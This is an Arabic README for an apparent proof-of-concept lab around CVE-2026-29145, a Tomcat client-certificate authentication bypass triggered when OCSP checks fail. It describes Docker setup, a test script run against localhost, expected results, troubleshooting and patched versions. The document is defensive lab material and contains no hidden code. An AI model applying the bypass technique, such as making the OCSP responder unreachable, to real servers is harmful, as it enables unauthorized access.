
يحتوي هذا المستودع على بيئة إثبات مفهوم (PoC) مصممة لاختبار CVE-2026-29145.
يحتوي هذا المستودع على بيئة إثبات مفهوم (PoC) مصممة لاختبار CVE-2026-29145.
الثغرة هي تجاوز للمصادقة في تنفيذ Tomcat من Apache لـ TLS المتبادل (CLIENT_CERT). عندما يتم تكوين OCSP (بروتوكول حالة الشهادة عبر الإنترنت) مع تعطيل الفشل الناعم، قد يفشل Tomcat في التعامل مع فشل فحص OCSP كرفض صارم. وهذا يسمح للعميل الذي يحمل شهادة ربما تم إبطالها أو غير موثقة بتجاوز المصادقة إذا كان مستجيب OCSP غير قابل للوصول أو يعيد خطأ.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-29145 |
| درجة CVSS | 9.1 (حرجة) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| متجه الهجوم | الشبكة |
| الصلاحيات المطلوبة | لا شيء |
| التأثير | تجاوز المصادقة |
.ps1يقوم سكربت run_test.sh بأتمتة العملية بأكملها: التنظيف، وتوليد الشهادات، وتشغيل جميع سيناريوهات الاختبار (الضعيفة، والناجحة، والمصححة).
# الانتقال إلى دليل المشروع
cd CVE-2026-29145-Tester
# جعل السكربتات قابلة للتنفيذ
chmod +x cleanup.sh setup_certs.sh run_test.sh
# تثبيت تبعيات Python (إذا كان poc_exploit.py يتطلبها)
pip install -r requirements.txt
# تشغيل مجموعة الاختبار الكاملة
./run_test.sh
على Linux/macOS:
./setup_certs.sh
على Windows (PowerShell):
.\setup_certs.ps1
ما الذي يفعله هذا:
http://localhost:8888المخرجات المتوقعة:
[INFO] بدء توليد الشهادات لبيئة اختبار CVE-2026-29145
[INFO] تم العثور على OpenSSL: OpenSSL 3.0.x (...)
[INFO] تم إنشاء دليل الشهادات
[INFO] جارٍ توليد مرجع المصادقة الجذر...
[INFO] جارٍ توليد شهادة الخادم...
[INFO] جارٍ توليد شهادة العميل مع امتداد OCSP...
[INFO] اكتمل إعداد الشهادات بنجاح!
docker-compose up -d
ما الذي يفعله هذا:
تحقق من تشغيل الحاويات:
docker-compose ps
python poc_exploit.py
المخرجات المتوقعة:
النظام الضعيف:
[INFO] محاولة الاتصال بـ https://localhost:8443/protected-resource...
[WARNING] ضعيف: تم منح الوصول على الرغم من فشل فحص OCSP.
[WARNING] معاينة الاستجابة: <html>...
النظام المصحح:
[INFO] محاولة الاتصال بـ https://localhost:8443/protected-resource...
[INFO] غير ضعيف: تم رفض الوصول (المصادقة تعمل).
| السيناريو | حالة OCSP | المتوقع (مصحح) | النتيجة (ضعيف) | ملاحظات |
|---|---|---|---|---|
| التشغيل العادي | متصل وصالح | 200 OK ✓ | 200 OK ✓ | نجاح فحص OCSP، يتم منح الوصول |
| الفشل الناعم | غير متصل/مهلة | 403 ممنوع ✓ | 200 OK ✗ | تجاوز - مستجيب OCSP غير قابل للوصول |
| الإبطال الصارم | متصل ومُبطَل | 403 ممنوع ✓ | 403 ممنوع ✓ | الشهادة مُبطَلة صراحةً |
| شهادة غير صالحة | سلسلة غير صالحة | 403 ممنوع ✓ | 403 ممنوع ✓ | فشل التحقق من السلسلة |
الاختبار 1: الافتراضي (فشل مستجيب OCSP)
# إبقاء الحاويات قيد التشغيل
python poc_exploit.py
الاختبار 2: إيقاف مستجيب OCSP (محاكاة المهلة)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
الاختبار 3: الاختبار اليدوي باستخدام curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # هذا الملف
├── setup_certs.sh # سكربت توليد الشهادات - Bash (Linux/macOS)
├── setup_certs.ps1 # سكربت توليد الشهادات - PowerShell (Windows)
├── cleanup.sh # سكربت التنظيف وإعادة التعيين - Bash (Linux/macOS)
├── cleanup.ps1 # سكربت التنظيف وإعادة التعيين - PowerShell (Windows)
├── run_test.sh # سكربت دورة الاختبار الكاملة الآلية
├── docker-compose.yml # تنسيق خدمات Docker
├── requirements.txt # تبعيات Python
├── poc_exploit.py # سكربت الاختبار الرئيسي (مع تسجيل ومعالجة الأخطاء)
├── simple_proxy_fail.py # مستجيب OCSP الوهمي (مع تسجيل مفصل)
├── .gitignore # قواعد تجاهل Git للشهادات والسجلات
├── certs/ # الشهادات المولدة (التي تم إنشاؤها بواسطة سكربتات setup_certs)
│ ├── ca-chain.pem # شهادة مرجع المصادقة الجذر
│ ├── ca-key.pem # المفتاح الخاص لمرجع المصادقة الجذر
│ ├── server-cert.pem # شهادة خادم Tomcat
│ ├── server-key.pem # المفتاح الخاص لخادم Tomcat
│ ├── client-cert.pem # شهادة عميل الاختبار
│ └── client-key.pem # المفتاح الخاص لعميل الاختبار
├── tomcat/
│ └── server.xml # تكوين Tomcat الضعيف
└── logs/ # سجلات Tomcat (التي تم إنشاؤها في وقت التشغيل)
يقوم ملف tomcat/server.xml بتكوين:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
الإعدادات الرئيسية:
certificateVerification="required" - يفرض مصادقة CLIENT_CERTOCSP on - تمكين فحص إبطال OCSPالمستجيب الوهمي لـ OCSP (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
السبب: فشل توليد الشهادة أو لم يتم تشغيله.
# التنظيف وإعادة التوليد
rm -rf certs
./setup_certs.sh
السبب: حاوية Tomcat غير قيد التشغيل أو غير جاهزة.
# التحقق من حالة الحاوية
docker-compose ps
# التحقق من السجلات
docker-compose logs vulnerable-tomcat
# التأكد من تشغيل كلتا الخدمتين وسلامتهما
docker-compose up -d
sleep 10 # انتظار بدء الخدمات
السبب: يستغرق Tomcat وقتًا طويلاً للبدء أو مشاكل في الشبكة.
# التحقق من سجلات بدء تشغيل Tomcat
docker-compose logs vulnerable-tomcat
# زيادة المهلة وإعادة المحاولة
timeout 30 docker-compose logs -f vulnerable-tomcat # مراقبة بدء التشغيل
السبب: Docker Compose غير مثبت أو غير موجود في PATH.
# تثبيت Docker Compose (إذا كنت تستخدم الإصدار المستقل)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# أو استخدم docker compose (V2 المدمج مع Docker Desktop)
docker compose up -d
السبب: فشل التحقق من الشهادة.
# التحقق من وجود ملفات الشهادة
ls -la certs/
# التحقق من صلاحية الشهادة
openssl x509 -in certs/client-cert.pem -noout -text
السبب: فشل مصافحة SSL - قد يشير إلى أن الفشل الصارم يعمل بشكل صحيح.
الحل: هذه في الواقع علامة إيجابية! الفشل الصارم يمنع الوصول عندما يفشل OCSP.
# التحقق من تشغيل مستجيب OCSP
docker-compose ps ocsp-responder
# عرض الخطأ المفصل
python poc_exploit.py # يوفر بالفعل تسجيلًا مفصلاً
السبب: المنفذ 8443 أو 8888 قيد الاستخدام بالفعل.
# العثور على العملية التي تستخدم المنفذ
lsof -i :8443
lsof -i :8888
# إنهاء العملية أو استخدام منافذ مختلفة في docker-compose.yml
# سجلات Tomcat
docker-compose logs -f vulnerable-tomcat
# سجلات مستجيب OCSP
docker-compose logs -f ocsp-responder
# تصحيح أخطاء سكربت Python
python poc_exploit.py # يتضمن بالفعل تسجيلًا مفصلاً
# فتح طرفية وتشغيل
docker-compose logs -f
# في طرفية أخرى، تشغيل الاختبار
python poc_exploit.py
# اختبار الاتصال بمستجيب OCSP
curl http://localhost:8888/
# اختبار مستجيب OCSP من داخل حاوية Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# اختبار مصافحة SSL
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
لإزالة جميع الحاويات ووحدات التخزين والشهادات والسجلات:
على Linux/macOS:
./cleanup.sh
على Windows (PowerShell):
.\cleanup.ps1
ما الذي يفعله هذا:
certs/ المولدlogs/تحقق من التنظيف:
docker-compose ps # يجب ألا يُظهر شيئًا
ls -la certs/ # يجب ألا يكون موجودًا
هذا المشروع لأغراض التعليم واختبار الأمان المصرح به فقط.
للتخفيف من هذه الثغرة، قم بترقية Apache Tomcat إلى الإصدارات التالية:
| سلسلة الإصدارات | الحد الأدنى للإصدار المصحح |
|---|---|
| 11.0.x | 11.0.20 أو أحدث |
| 10.1.x | 10.1.53 أو أحدث |
| 9.0.x | 9.0.116 أو أحدث |
خطوات الترقية:
# مثال: تحديث docker-compose.yml لاستخدام الإصدار المصحح
# التغيير: image: tomcat:10.1.52-jdk17
# إلى: image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
للمشكلات أو الأسئلة أو المساهمات، يرجى فتح مشكلة أو تقديم طلب سحب.
آخر تحديث: أبريل 2026
الحالة: اكتمل الاختبار والتوثيق